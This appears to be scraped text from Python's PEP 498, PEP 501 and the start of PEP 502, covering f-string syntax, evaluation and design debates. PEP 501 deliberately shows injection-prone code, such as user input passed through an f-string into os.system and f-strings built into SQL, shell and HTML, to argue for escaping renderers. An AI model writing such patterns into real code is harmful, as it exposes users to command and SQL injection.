str.format() uses to convert values to strings. For example, this code: f'abc{expr1:spec1}{expr2!r:spec2}def{expr3}ghi' Might be evaluated as: 'abc' + format(expr1, spec1) + format(repr(expr2), spec2) + 'def' + format(expr3) + 'ghi' Expression evaluation The expressions that are extracted from the string are evaluated in the context where the f-string appeared. This means the expression has full access to local and global variables. Any valid Python expression can be used, including function and method calls. Because the f-strings are evaluated where the string appears in the source code, there is no additional expressiveness available with f-strings. There are also no additional security concerns: you could have also just written the same expression, not inside of an f-string: >>> def foo(): ... return 20 ... >>> f'result={foo()}' 'result=20' Is equivalent to: >>> 'result=' + str(foo()) 'result=20' Expressions are parsed with the equivalent of ast.parse('(' + expression + ')', '<fstring>', 'eval') [7]. Note that since the expression is enclosed by implicit parentheses before evaluation, expressions can contain newlines. For example: >>> x = 0 >>> f'''{x ... +1}''' '1' >>> d = {0: 'zero'} >>> f'''{d[0 ... ]}''' 'zero' Format specifiers Format specifiers may also contain evaluated expressions. This allows code such as: >>> width = 10 >>> precision = 4 >>> value = decimal.Decimal('12.34567') >>> f'result: {value:{width}.{precision}}' 'result: 12.35' Once expressions in a format specifier are evaluated (if necessary), format specifiers are not interpreted by the f-string evaluator. Just as in str.format(), they are merely passed in to the __format__() method of the object being formatted. Concatenating strings Adjacent f-strings and regular strings are concatenated. Regular strings are concatenated at compile time, and f-strings are concatenated at run time. For example, the expression: >>> x = 10 >>> y = 'hi' >>> 'a' 'b' f'{x}' '{c}' f'str<{y:^4}>' 'd' 'e' yields the value: 'ab10{c}str< hi >de' While the exact method of this run time concatenation is unspecified, the above code might evaluate to: 'ab' + format(x) + '{c}' + 'str<' + format(y, '^4') + '>de' Each f-string is entirely evaluated before being concatenated to adjacent f-strings. That means that this: >>> f'{x' f'}' Is a syntax error, because the first f-string does not contain a closing brace. Error handling Either compile time or run time errors can occur when processing f-strings. Compile time errors are limited to those errors that can be detected when scanning an f-string. These errors all raise SyntaxError. Unmatched braces: >>> f'x={x' File "<stdin>", line 1 SyntaxError: f-string: expecting '}' Invalid expressions: >>> f'x={!x}' File "<stdin>", line 1 SyntaxError: f-string: empty expression not allowed Run time errors occur when evaluating the expressions inside an f-string. Note that an f-string can be evaluated multiple times, and work sometimes and raise an error at other times: >>> d = {0:10, 1:20} >>> for i in range(3): ... print(f'{i}:{d[i]}') ... 0:10 1:20 Traceback (most recent call last): File "<stdin>", line 2, in <module> KeyError: 2 or: >>> for x in (32, 100, 'fifty'): ... print(f'x = {x:+3}') ... 'x = +32' 'x = +100' Traceback (most recent call last): File "<stdin>", line 2, in <module> ValueError: Sign not allowed in string format specifier Leading and trailing whitespace in expressions is ignored For ease of readability, leading and trailing whitespace in expressions is ignored. This is a by-product of enclosing the expression in parentheses before evaluation. Evaluation order of expressions The expressions in an f-string are evaluated in left-to-right order. This is detectable only if the expressions have side effects: >>> def fn(l, incr): ... result = l[0] ... l[0] += incr ... return result ... >>> lst = [0] >>> f'{fn(lst,2)} {fn(lst,3)}' '0 2' >>> f'{fn(lst,2)} {fn(lst,3)}' '5 7' >>> lst [10] Discussion python-ideas discussion Most of the discussions on python-ideas [8] focused on three issues: How to denote f-strings, How to specify the location of expressions in f-strings, and Whether to allow full Python expressions. How to denote f-strings Because the compiler must be involved in evaluating the expressions contained in the interpolated strings, there must be some way to denote to the compiler which strings should be evaluated. This PEP chose a leading 'f' character preceding the string literal. This is similar to how 'b' and 'r' prefixes change the meaning of the string itself, at compile time. Other prefixes were suggested, such as 'i'. No option seemed better than the other, so 'f' was chosen. Another option was to support special functions, known to the compiler, such as Format(). This seems like too much magic for Python: not only is there a chance for collision with existing identifiers, the PEP author feels that it’s better to signify the magic with a string prefix character. How to specify the location of expressions in f-strings This PEP supports the same syntax as str.format() for distinguishing replacement text inside strings: expressions are contained inside braces. There were other options suggested, such as string.Template’s $identifier or ${expression}. While $identifier is no doubt more familiar to shell scripters and users of some other languages, in Python str.format() is heavily used. A quick search of Python’s standard library shows only a handful of uses of string.Template, but hundreds of uses of str.format(). Another proposed alternative was to have the substituted text between \{ and } or between \{ and \}. While this syntax would probably be desirable if all string literals were to support interpolation, this PEP only supports strings that are already marked with the leading 'f'. As such, the PEP is using unadorned braces to denoted substituted text, in order to leverage end user familiarity with str.format(). Supporting full Python expressions Many people on the python-ideas discussion wanted support for either only single identifiers, or a limited subset of Python expressions (such as the subset supported by str.format()). This PEP supports full Python expressions inside the braces. Without full expressions, some desirable usage would be cumbersome. For example: >>> f'Column={col_idx+1}' >>> f'number of items: {len(items)}' would become: >>> col_number = col_idx+1 >>> f'Column={col_number}' >>> n_items = len(items) >>> f'number of items: {n_items}' While it’s true that very ugly expressions could be included in the f-strings, this PEP takes the position that such uses should be addressed in a linter or code review: >>> f'mapping is { {a:b for (a, b) in ((1, 2), (3, 4))} }' 'mapping is {1: 2, 3: 4}' Similar support in other languages Wikipedia has a good discussion of string interpolation in other programming languages [9]. This feature is implemented in many languages, with a variety of syntaxes and restrictions. Differences between f-string and str.format expressions There is one small difference between the limited expressions allowed in str.format() and the full expressions allowed inside f-strings. The difference is in how index lookups are performed. In str.format(), index values that do not look like numbers are converted to strings: >>> d = {'a': 10, 'b': 20} >>> 'a={d[a]}'.format(d=d) 'a=10' Notice that the index value is converted to the string 'a' when it is looked up in the dict. However, in f-strings, you would need to use a literal for the value of 'a': >>> f'a={d["a"]}' 'a=10' This difference is required because otherwise you would not be able to use variables as index values: >>> a = 'b' >>> f'a={d[a]}' 'a=20' See [10] for a further discussion. It was this observation that led to full Python expressions being supported in f-strings. Furthermore, the limited expressions that str.format() understands need not be valid Python expressions. For example: >>> '{i[";]}'.format(i={'";':4}) '4' For this reason, the str.format() “expression parser” is not suitable for use when implementing f-strings. Triple-quoted f-strings Triple quoted f-strings are allowed. These strings are parsed just as normal triple-quoted strings are. After parsing and decoding, the normal f-string logic is applied, and __format__() is called on each value. Raw f-strings Raw and f-strings may be combined. For example, they could be used to build up regular expressions: >>> header = 'Subject' >>> fr'{header}:\s+' 'Subject:\\s+' In addition, raw f-strings may be combined with triple-quoted strings. No binary f-strings For the same reason that we don’t support bytes.format(), you may not combine 'f' with 'b' string literals. The primary problem is that an object’s __format__() method may return Unicode data that is not compatible with a bytes string. Binary f-strings would first require a solution for bytes.format(). This idea has been proposed in the past, most recently in PEP 461. The discussions of such a feature usually suggest either adding a method such as __bformat__() so an object can control how it is converted to bytes, or having bytes.format() not be as general purpose or extensible as str.format(). Both of these remain as options in the future, if such functionality is desired. !s, !r, and !a are redundant The !s, !r, and !a conversions are not strictly required. Because arbitrary expressions are allowed inside the f-strings, this code: >>> a = 'some string' >>> f'{a!r}' "'some string'" Is identical to: >>> f'{repr(a)}' "'some string'" Similarly, !s can be replaced by calls to str() and !a by calls to ascii(). However, !s, !r, and !a are supported by this PEP in order to minimize the differences with str.format(). !s, !r, and !a are required in str.format() because it does not allow the execution of arbitrary expressions. Lambdas inside expressions Because lambdas use the ':' character, they cannot appear outside of parentheses in an expression. The colon is interpreted as the start of the format specifier, which means the start of the lambda expression is seen and is syntactically invalid. As there’s no practical use for a plain lambda in an f-string expression, this is not seen as much of a limitation. If you feel you must use lambdas, they may be used inside of parentheses: >>> f'{(lambda x: x*2)(3)}' '6' Can’t combine with ‘u’ The ‘u’ prefix was added to Python 3.3 in PEP 414 as a means to ease source compatibility with Python 2.7. Because Python 2.7 will never support f-strings, there is nothing to be gained by being able to combine the ‘f’ prefix with ‘u’. Examples from Python’s source code Here are some examples from Python source code that currently use str.format(), and how they would look with f-strings. This PEP does not recommend wholesale converting to f-strings, these are just examples of real-world usages of str.format() and how they’d look if written from scratch using f-strings. Lib/asyncio/locks.py: extra = '{},waiters:{}'.format(extra, len(self._waiters)) extra = f'{extra},waiters:{len(self._waiters)}' Lib/configparser.py: message.append(" [line {0:2d}]".format(lineno)) message.append(f" [line {lineno:2d}]") Tools/clinic/clinic.py: methoddef_name = "{}_METHODDEF".format(c_basename.upper()) methoddef_name = f"{c_basename.upper()}_METHODDEF" python-config.py: print("Usage: {0} [{1}]".format(sys.argv[0], '|'.join('--'+opt for opt in valid_opts)), file=sys.stderr) print(f"Usage: {sys.argv[0]} [{'|'.join('--'+opt for opt in valid_opts)}]", file=sys.stderr) References [1] %-formatting (https://docs.python.org/3/library/stdtypes.html#printf-style-string-formatting) [2] str.format (https://docs.python.org/3/library/string.html#formatstrings) [3] string.Template documentation (https://docs.python.org/3/library/string.html#template-strings) [4] Formatting using locals() and globals() (https://mail.python.org/pipermail/python-ideas/2015-July/034671.html) [5] Avoid locals() and globals() (https://mail.python.org/pipermail/python-ideas/2015-July/034701.html) [6] String literal description (https://docs.python.org/3/reference/lexical_analysis.html#string-and-bytes-literals) [7] ast.parse() documentation (https://docs.python.org/3/library/ast.html#ast.parse) [8] Start of python-ideas discussion (https://mail.python.org/pipermail/python-ideas/2015-July/034657.html) [9] Wikipedia article on string interpolation (https://en.wikipedia.org/wiki/String_interpolation) [10] Differences in str.format() and f-string expressions (https://mail.python.org/pipermail/python-ideas/2015-July/034726.html) Copyright This document has been placed in the public domain.

Final

PEP 498 – Literal String Interpolation

Standards Track

Python supports multiple ways to format text strings. These include %-formatting [1], str.format() [2], and string.Template [3]. Each of these methods have their advantages, but in addition have disadvantages that make them cumbersome to use in practice. This PEP proposed to add a new string formatting mechanism: Literal String Interpolation. In this PEP, such strings will be referred to as “f-strings”, taken from the leading character used to denote such strings, and standing for “formatted strings”.

PEP 501 – General purpose string interpolation Author: Alyssa Coghlan <ncoghlan at gmail.com> Status: Deferred Type: Standards Track Requires: 498 Created: 08-Aug-2015 Python-Version: 3.6 Post-History: 08-Aug-2015, 23-Aug-2015, 30-Aug-2015 Table of Contents Abstract PEP Deferral Summary of differences from PEP 498 Proposal Rationale Specification Conversion specifiers Writing custom renderers Expression evaluation Handling code injection attacks Format specifiers Error handling Possible integration with the logging module Discussion Deferring support for binary interpolation Interoperability with str-only interfaces Preserving the raw template string Creating a rich object rather than a global name lookup Building atop PEP 498, rather than competing with it Deferring consideration of possible use in i18n use cases Acknowledgements References Copyright Abstract PEP 498 proposes new syntactic support for string interpolation that is transparent to the compiler, allow name references from the interpolation operation full access to containing namespaces (as with any other expression), rather than being limited to explicit name references. These are referred to in the PEP as “f-strings” (a mnemonic for “formatted strings”). However, it only offers this capability for string formatting, making it likely we will see code like the following: os.system(f"echo {message_from_user}") This kind of code is superficially elegant, but poses a significant problem if the interpolated value message_from_user is in fact provided by an untrusted user: it’s an opening for a form of code injection attack, where the supplied user data has not been properly escaped before being passed to the os.system call. To address that problem (and a number of other concerns), this PEP proposes the complementary introduction of “i-strings” (a mnemonic for “interpolation template strings”), where f"Message with {data}" would produce the same result as format(i"Message with {data}"). Some possible examples of the proposed syntax: mycommand = sh(i"cat {filename}") myquery = sql(i"SELECT {column} FROM {table};") myresponse = html(i"<html><body>{response.body}</body></html>") logging.debug(i"Message with {detailed} {debugging} {info}") PEP Deferral This PEP is currently deferred pending further experience with PEP 498’s simpler approach of only supporting eager rendering without the additional complexity of also supporting deferred rendering. Summary of differences from PEP 498 The key additions this proposal makes relative to PEP 498: the “i” (interpolation template) prefix indicates delayed rendering, but otherwise uses the same syntax and semantics as formatted strings interpolation templates are available at runtime as a new kind of object (types.InterpolationTemplate) the default rendering used by formatted strings is invoked on an interpolation template object by calling format(template) rather than implicitly while f-string f"Message {here}" would be semantically equivalent to format(i"Message {here}"), it is expected that the explicit syntax would avoid the runtime overhead of using the delayed rendering machinery NOTE: This proposal spells out a draft API for types.InterpolationTemplate. The precise details of the structures and methods exposed by this type would be informed by the reference implementation of PEP 498, so it makes sense to gain experience with that as an internal API before locking down a public API (if this extension proposal is accepted). Proposal This PEP proposes the introduction of a new string prefix that declares the string to be an interpolation template rather than an ordinary string: template = i"Substitute {names} and {expressions()} at runtime" This would be effectively interpreted as: _raw_template = "Substitute {names} and {expressions()} at runtime" _parsed_template = ( ("Substitute ", "names"), (" and ", "expressions()"), (" at runtime", None), ) _field_values = (names, expressions()) _format_specifiers = (f"", f"") template = types.InterpolationTemplate(_raw_template, _parsed_template, _field_values, _format_specifiers) The __format__ method on types.InterpolationTemplate would then implement the following str.format inspired semantics: >>> import datetime >>> name = 'Jane' >>> age = 50 >>> anniversary = datetime.date(1991, 10, 12) >>> format(i'My name is {name}, my age next year is {age+1}, my anniversary is {anniversary:%A, %B %d, %Y}.') 'My name is Jane, my age next year is 51, my anniversary is Saturday, October 12, 1991.' >>> format(i'She said her name is {repr(name)}.') "She said her name is 'Jane'." As with formatted strings, the interpolation template prefix can be combined with single-quoted, double-quoted and triple quoted strings, including raw strings. It does not support combination with bytes literals. Similarly, this PEP does not propose to remove or deprecate any of the existing string formatting mechanisms, as those will remain valuable when formatting strings that are not present directly in the source code of the application. Rationale PEP 498 makes interpolating values into strings with full access to Python’s lexical namespace semantics simpler, but it does so at the cost of creating a situation where interpolating values into sensitive targets like SQL queries, shell commands and HTML templates will enjoy a much cleaner syntax when handled without regard for code injection attacks than when they are handled correctly. This PEP proposes to provide the option of delaying the actual rendering of an interpolation template to its __format__ method, allowing the use of other template renderers by passing the template around as a first class object. While very different in the technical details, the types.InterpolationTemplate interface proposed in this PEP is conceptually quite similar to the FormattableString type underlying the native interpolation support introduced in C# 6.0. Specification This PEP proposes the introduction of i as a new string prefix that results in the creation of an instance of a new type, types.InterpolationTemplate. Interpolation template literals are Unicode strings (bytes literals are not permitted), and string literal concatenation operates as normal, with the entire combined literal forming the interpolation template. The template string is parsed into literals, expressions and format specifiers as described for f-strings in PEP 498. Conversion specifiers are handled by the compiler, and appear as part of the field text in interpolation templates. However, rather than being rendered directly into a formatted strings, these components are instead organised into an instance of a new type with the following semantics: class InterpolationTemplate: __slots__ = ("raw_template", "parsed_template", "field_values", "format_specifiers") def __new__(cls, raw_template, parsed_template, field_values, format_specifiers): self = super().__new__(cls) self.raw_template = raw_template self.parsed_template = parsed_template self.field_values = field_values self.format_specifiers = format_specifiers return self def __repr__(self): return (f"<{type(self).__qualname__} {repr(self._raw_template)} " f"at {id(self):#x}>") def __format__(self, format_specifier): # When formatted, render to a string, and use string formatting return format(self.render(), format_specifier) def render(self, *, render_template=''.join, render_field=format): # See definition of the template rendering semantics below The result of an interpolation template expression is an instance of this type, rather than an already rendered string - rendering only takes place when the instance’s render method is called (either directly, or indirectly via __format__). The compiler will pass the following details to the interpolation template for later use: a string containing the raw template as written in the source code a parsed template tuple that allows the renderer to render the template without needing to reparse the raw string template for substitution fields a tuple containing the evaluated field values, in field substitution order a tuple containing the field format specifiers, in field substitution order This structure is designed to take full advantage of compile time constant folding by ensuring the parsed template is always constant, even when the field values and format specifiers include variable substitution expressions. The raw template is just the interpolation template as a string. By default, it is used to provide a human readable representation for the interpolation template. The parsed template consists of a tuple of 2-tuples, with each 2-tuple containing the following fields: leading_text: a leading string literal. This will be the empty string if the current field is at the start of the string, or immediately follows the preceding field. field_expr: the text of the expression element in the substitution field. This will be None for a final trailing text segment. The tuple of evaluated field values holds the results of evaluating the substitution expressions in the scope where the interpolation template appears. The tuple of field specifiers holds the results of evaluating the field specifiers as f-strings in the scope where the interpolation template appears. The InterpolationTemplate.render implementation then defines the rendering process in terms of the following renderers: an overall render_template operation that defines how the sequence of literal template sections and rendered fields are composed into a fully rendered result. The default template renderer is string concatenation using ''.join. a per field render_field operation that receives the field value and format specifier for substitution fields within the template. The default field renderer is the format builtin. Given an appropriate parsed template representation and internal methods of iterating over it, the semantics of template rendering would then be equivalent to the following: def render(self, *, render_template=''.join, render_field=format): iter_fields = enumerate(self.parsed_template) values = self.field_values specifiers = self.format_specifiers template_parts = [] for field_pos, (leading_text, field_expr) in iter_fields: template_parts.append(leading_text) if field_expr is not None: value = values[field_pos] specifier = specifiers[field_pos] rendered_field = render_field(value, specifier) template_parts.append(rendered_field) return render_template(template_parts) Conversion specifiers NOTE: Appropriate handling of conversion specifiers is currently an open question. Exposing them more directly to custom renderers would increase the complexity of the InterpolationTemplate definition without providing an increase in expressiveness (since they’re redundant with calling the builtins directly). At the same time, they are made available as arbitrary strings when writing custom string.Formatter implementations, so it may be desirable to offer similar levels of flexibility of interpretation in interpolation templates. The !a, !r and !s conversion specifiers supported by str.format and hence PEP 498 are handled in interpolation templates as follows: they’re included unmodified in the raw template to ensure no information is lost they’re replaced in the parsed template with the corresponding builtin calls, in order to ensure that field_expr always contains a valid Python expression the corresponding field value placed in the field values tuple is converted appropriately before being passed to the interpolation template This means that, for most purposes, the difference between the use of conversion specifiers and calling the corresponding builtins in the original interpolation template will be transparent to custom renderers. The difference will only be apparent if reparsing the raw template, or attempting to reconstruct the original template from the parsed template. Writing custom renderers Writing a custom renderer doesn’t requiring any special syntax. Instead, custom renderers are ordinary callables that process an interpolation template directly either by calling the render() method with alternate render_template or render_field implementations, or by accessing the template’s data attributes directly. For example, the following function would render a template using objects’ repr implementations rather than their native formatting support: def reprformat(template): def render_field(value, specifier): return format(repr(value), specifier) return template.render(render_field=render_field) When writing custom renderers, note that the return type of the overall rendering operation is determined by the return type of the passed in render_template callable. While this is expected to be a string in most cases, producing non-string objects is permitted. For example, a custom template renderer could involve an sqlalchemy.sql.text call that produces an SQL Alchemy query object. Non-strings may also be returned from render_field, as long as it is paired with a render_template implementation that expects that behaviour. Expression evaluation As with f-strings, the subexpressions that are extracted from the interpolation template are evaluated in the context where the interpolation template appears. This means the expression has full access to local, nonlocal and global variables. Any valid Python expression can be used inside {}, including function and method calls. Because the substitution expressions are evaluated where the string appears in the source code, there are no additional security concerns related to the contents of the expression itself, as you could have also just written the same expression and used runtime field parsing: >>> bar=10 >>> def foo(data): ... return data + 20 ... >>> str(i'input={bar}, output={foo(bar)}') 'input=10, output=30' Is essentially equivalent to: >>> 'input={}, output={}'.format(bar, foo(bar)) 'input=10, output=30' Handling code injection attacks The PEP 498 formatted string syntax makes it potentially attractive to write code like the following: runquery(f"SELECT {column} FROM {table};") runcommand(f"cat {filename}") return_response(f"<html><body>{response.body}</body></html>") These all represent potential vectors for code injection attacks, if any of the variables being interpolated happen to come from an untrusted source. The specific proposal in this PEP is designed to make it straightforward to write use case specific renderers that take care of quoting interpolated values appropriately for the relevant security context: runquery(sql(i"SELECT {column} FROM {table};")) runcommand(sh(i"cat {filename}")) return_response(html(i"<html><body>{response.body}</body></html>")) This PEP does not cover adding such renderers to the standard library immediately, but rather proposes to ensure that they can be readily provided by third party libraries, and potentially incorporated into the standard library at a later date. For example, a renderer that aimed to offer a POSIX shell style experience for accessing external programs, without the significant risks posed by running os.system or enabling the system shell when using the subprocess module APIs, might provide an interface for running external programs similar to that offered by the Julia programming language, only with the backtick based \`cat $filename\` syntax replaced by i"cat {filename}" style interpolation templates. Format specifiers Aside from separating them out from the substitution expression during parsing, format specifiers are otherwise treated as opaque strings by the interpolation template parser - assigning semantics to those (or, alternatively, prohibiting their use) is handled at runtime by the field renderer. Error handling Either compile time or run time errors can occur when processing interpolation expressions. Compile time errors are limited to those errors that can be detected when parsing a template string into its component tuples. These errors all raise SyntaxError. Unmatched braces: >>> i'x={x' File "<stdin>", line 1 SyntaxError: missing '}' in interpolation expression Invalid expressions: >>> i'x={!x}' File "<fstring>", line 1 !x ^ SyntaxError: invalid syntax Run time errors occur when evaluating the expressions inside a template string before creating the interpolation template object. See PEP 498 for some examples. Different renderers may also impose additional runtime constraints on acceptable interpolated expressions and other formatting details, which will be reported as runtime exceptions. Possible integration with the logging module One of the challenges with the logging module has been that we have previously been unable to devise a reasonable migration strategy away from the use of printf-style formatting. The runtime parsing and interpolation overhead for logging messages also poses a problem for extensive logging of runtime events for monitoring purposes. While beyond the scope of this initial PEP, interpolation template support could potentially be added to the logging module’s event reporting APIs, permitting relevant details to be captured using forms like: logging.debug(i"Event: {event}; Details: {data}") logging.critical(i"Error: {error}; Details: {data}") Rather than the current mod-formatting style: logging.debug("Event: %s; Details: %s", event, data) logging.critical("Error: %s; Details: %s", event, data) As the interpolation template is passed in as an ordinary argument, other keyword arguments would also remain available: logging.critical(i"Error: {error}; Details: {data}", exc_info=True) As part of any such integration, a recommended approach would need to be defined for “lazy evaluation” of interpolated fields, as the logging module’s existing delayed interpolation support provides access to various attributes of the event LogRecord instance. For example, since interpolation expressions are arbitrary Python expressions, string literals could be used to indicate cases where evaluation itself is being deferred, not just rendering: logging.debug(i"Logger: {'record.name'}; Event: {event}; Details: {data}") This could be further extended with idioms like using inline tuples to indicate deferred function calls to be made only if the log message is actually going to be rendered at current logging levels: logging.debug(i"Event: {event}; Details: {expensive_call, raw_data}") This kind of approach would be possible as having access to the actual text of the field expression would allow the logging renderer to distinguish between inline tuples that appear in the field expression itself, and tuples that happen to be passed in as data values in a normal field. Discussion Refer to PEP 498 for additional discussion, as several of the points there also apply to this PEP. Deferring support for binary interpolation Supporting binary interpolation with this syntax would be relatively straightforward (the elements in the parsed fields tuple would just be byte strings rather than text strings, and the default renderer would be markedly less useful), but poses a significant likelihood of producing confusing type errors when a text renderer was presented with binary input. Since the proposed syntax is useful without binary interpolation support, and such support can be readily added later, further consideration of binary interpolation is considered out of scope for the current PEP. Interoperability with str-only interfaces For interoperability with interfaces that only accept strings, interpolation templates can still be prerendered with format, rather than delegating the rendering to the called function. This reflects the key difference from PEP 498, which always eagerly applies the default rendering, without any way to delegate the choice of renderer to another section of the code. Preserving the raw template string Earlier versions of this PEP failed to make the raw template string available on the interpolation template. Retaining it makes it possible to provide a more attractive template representation, as well as providing the ability to precisely reconstruct the original string, including both the expression text and the details of any eagerly rendered substitution fields in format specifiers. Creating a rich object rather than a global name lookup Earlier versions of this PEP used an __interpolate__ builtin, rather than a creating a new kind of object for later consumption by interpolation functions. Creating a rich descriptive object with a useful default renderer made it much easier to support customisation of the semantics of interpolation. Building atop PEP 498, rather than competing with it Earlier versions of this PEP attempted to serve as a complete substitute for PEP 498, rather than building a more flexible delayed rendering capability on top of PEP 498’s eager rendering. Assuming the presence of f-strings as a supporting capability simplified a number of aspects of the proposal in this PEP (such as how to handle substitution fields in format specifiers) Deferring consideration of possible use in i18n use cases The initial motivating use case for this PEP was providing a cleaner syntax for i18n translation, as that requires access to the original unmodified template. As such, it focused on compatibility with the substitution syntax used in Python’s string.Template formatting and Mozilla’s l20n project. However, subsequent discussion revealed there are significant additional considerations to be taken into account in the i18n use case, which don’t impact the simpler cases of handling interpolation into security sensitive contexts (like HTML, system shells, and database queries), or producing application debugging messages in the preferred language of the development team (rather than the native language of end users). Due to the original design of the str.format substitution syntax in PEP 3101 being inspired by C#’s string formatting syntax, the specific field substitution syntax used in PEP 498 is consistent not only with Python’s own str.format syntax, but also with string formatting in C#, including the native “$-string” interpolation syntax introduced in C# 6.0 (released in July 2015). The related IFormattable interface in C# forms the basis of a number of elements of C#’s internationalization and localization support. This means that while this particular substitution syntax may not currently be widely used for translation of Python applications (losing out to traditional %-formatting and the designed-specifically-for-i18n string.Template formatting), it is a popular translation format in the wider software development ecosystem (since it is already the preferred format for translating C# applications). Acknowledgements Eric V. Smith for creating PEP 498 and demonstrating the feasibility of arbitrary expression substitution in string interpolation Barry Warsaw, Armin Ronacher, and Mike Miller for their contributions to exploring the feasibility of using this model of delayed rendering in i18n use cases (even though the ultimate conclusion was that it was a poor fit, at least for current approaches to i18n in Python) References %-formatting str.format string.Template documentation PEP 215: String Interpolation PEP 292: Simpler String Substitutions PEP 3101: Advanced String Formatting PEP 498: Literal string formatting FormattableString and C# native string interpolation IFormattable interface in C# (see remarks for globalization notes) Running external commands in Julia Copyright This document has been placed in the public domain.

Deferred

PEP 501 – General purpose string interpolation

Standards Track

PEP 498 proposes new syntactic support for string interpolation that is transparent to the compiler, allow name references from the interpolation operation full access to containing namespaces (as with any other expression), rather than being limited to explicit name references. These are referred to in the PEP as “f-strings” (a mnemonic for “formatted strings”).

PEP 502 – String Interpolation - Extended Discussion Author: Mike G. Miller Status: Rejected Type: Informational Created: 10-Aug-2015 Python-Version: 3.6 Table of Contents Abstract PEP Status Motivation Rationale Goals Limitations Background Printf-style formatting, via operator string.Template Class PEP 215 - String Interpolation str.format() Method PEP 498 – Literal String Formatting PEP 501 – Translation ready string interpolation Implementations in Other Languages Bash Perl Ruby Others Scala ES6 (Javascript) C#, Version 6 Apple’s Swift Additional examples New Syntax New String Prefix Additional Topics Safety Mitigation via Tools Style Guide/Precautions Reference Implementation(s) Backwards Compatibility Postponed Ideas Internationalization Rejected Ideas Restricting Syntax to str.format() Only Additional/Custom String-Prefixes Automated Escaping of Input Variables Environment Access and Command Substitution Acknowledgements References Copyright Abstract PEP 498: Literal String Interpolation, which proposed “formatted strings” was accepted September 9th, 2015. Additional background and rationale given during its design phase is detailed below. To recap that PEP, a string prefix was introduced that marks the string as a template to be rendered. These formatted strings may contain one or more expressions built on the existing syntax of str.format(). [10] [11] The formatted string expands at compile-time into a conventional string format operation, with the given expressions from its text extracted and passed instead as positional arguments. At runtime, the resulting expressions are evaluated to render a string to given specifications: >>> location = 'World' >>> f'Hello, {location} !' # new prefix: f'' 'Hello, World !' # interpolated result Format-strings may be thought of as merely syntactic sugar to simplify traditional calls to str.format(). PEP Status This PEP was rejected based on its using an opinion-based tone rather than a factual one. This PEP was also deemed not critical as PEP 498 was already written and should be the place to house design decision details. Motivation Though string formatting and manipulation features are plentiful in Python, one area where it falls short is the lack of a convenient string interpolation syntax. In comparison to other dynamic scripting languages with similar use cases, the amount of code necessary to build similar strings is substantially higher, while at times offering lower readability due to verbosity, dense syntax, or identifier duplication. These difficulties are described at moderate length in the original post to python-ideas that started the snowball (that became PEP 498) rolling. [1] Furthermore, replacement of the print statement with the more consistent print function of Python 3 (PEP 3105) has added one additional minor burden, an additional set of parentheses to type and read. Combined with the verbosity of current string formatting solutions, this puts an otherwise simple language at an unfortunate disadvantage to its peers: echo "Hello, user: $user, id: $id, on host: $hostname" # bash say "Hello, user: $user, id: $id, on host: $hostname"; # perl puts "Hello, user: #{user}, id: #{id}, on host: #{hostname}\n" # ruby # 80 ch -->| # Python 3, str.format with named parameters print('Hello, user: {user}, id: {id}, on host: {hostname}'.format(**locals())) # Python 3, worst case print('Hello, user: {user}, id: {id}, on host: {hostname}'.format(user=user, id=id, hostname= hostname)) In Python, the formatting and printing of a string with multiple variables in a single line of code of standard width is noticeably harder and more verbose, with indentation exacerbating the issue. For use cases such as smaller projects, systems programming, shell script replacements, and even one-liners, where message formatting complexity has yet to be encapsulated, this verbosity has likely lead a significant number of developers and administrators to choose other languages over the years. Rationale Goals The design goals of format strings are as follows: Eliminate need to pass variables manually. Eliminate repetition of identifiers and redundant parentheses. Reduce awkward syntax, punctuation characters, and visual noise. Improve readability and eliminate mismatch errors, by preferring named parameters to positional arguments. Avoid need for locals() and globals() usage, instead parsing the given string for named parameters, then passing them automatically. [2] [3] Limitations In contrast to other languages that take design cues from Unix and its shells, and in common with Javascript, Python specified both single (') and double (") ASCII quote characters to enclose strings. It is not reasonable to choose one of them now to enable interpolation, while leaving the other for uninterpolated strings. Other characters, such as the “Backtick” (or grave accent `) are also constrained by history as a shortcut for repr(). This leaves a few remaining options for the design of such a feature: An operator, as in printf-style string formatting via %. A class, such as string.Template(). A method or function, such as str.format(). New syntax, or A new string prefix marker, such as the well-known r'' or u''. The first three options above are mature. Each has specific use cases and drawbacks, yet also suffer from the verbosity and visual noise mentioned previously. All options are discussed in the next sections. Background Formatted strings build on several existing techniques and proposals and what we’ve collectively learned from them. In keeping with the design goals of readability and error-prevention, the following examples therefore use named, not positional arguments. Let’s assume we have the following dictionary, and would like to print out its items as an informative string for end users: >>> params = {'user': 'nobody', 'id': 9, 'hostname': 'darkstar'} Printf-style formatting, via operator This venerable technique continues to have its uses, such as with byte-based protocols, simplicity in simple cases, and familiarity to many programmers: >>> 'Hello, user: %(user)s, id: %(id)s, on host: %(hostname)s' % params 'Hello, user: nobody, id: 9, on host: darkstar' In this form, considering the prerequisite dictionary creation, the technique is verbose, a tad noisy, yet relatively readable. Additional issues are that an operator can only take one argument besides the original string, meaning multiple parameters must be passed in a tuple or dictionary. Also, it is relatively easy to make an error in the number of arguments passed, the expected type, have a missing key, or forget the trailing type, e.g. (s or d). string.Template Class The string.Template class from PEP 292 (Simpler String Substitutions) is a purposely simplified design, using familiar shell interpolation syntax, with safe-substitution feature, that finds its main use cases in shell and internationalization tools: Template('Hello, user: $user, id: ${id}, on host: $hostname').substitute(params) While also verbose, the string itself is readable. Though functionality is limited, it meets its requirements well. It isn’t powerful enough for many cases, and that helps keep inexperienced users out of trouble, as well as avoiding issues with moderately-trusted input (i18n) from third-parties. It unfortunately takes enough code to discourage its use for ad-hoc string interpolation, unless encapsulated in a convenience library such as flufl.i18n. PEP 215 - String Interpolation PEP 215 was a former proposal of which this one shares a lot in common. Apparently, the world was not ready for it at the time, but considering recent support in a number of other languages, its day may have come. The large number of dollar sign ($) characters it included may have led it to resemble Python’s arch-nemesis Perl, and likely contributed to the PEP’s lack of acceptance. It was superseded by the following proposal. str.format() Method The str.format() syntax of PEP 3101 is the most recent and modern of the existing options. It is also more powerful and usually easier to read than the others. It avoids many of the drawbacks and limits of the previous techniques. However, due to its necessary function call and parameter passing, it runs from verbose to very verbose in various situations with string literals: >>> 'Hello, user: {user}, id: {id}, on host: {hostname}'.format(**params) 'Hello, user: nobody, id: 9, on host: darkstar' # when using keyword args, var name shortening sometimes needed to fit :/ >>> 'Hello, user: {user}, id: {id}, on host: {host}'.format(user=user, id=id, host=hostname) 'Hello, user: nobody, id: 9, on host: darkstar' The verbosity of the method-based approach is illustrated here. PEP 498 – Literal String Formatting PEP 498 defines and discusses format strings, as also described in the Abstract above. It also, somewhat controversially to those first exposed, introduces the idea that format-strings shall be augmented with support for arbitrary expressions. This is discussed further in the Restricting Syntax section under Rejected Ideas. PEP 501 – Translation 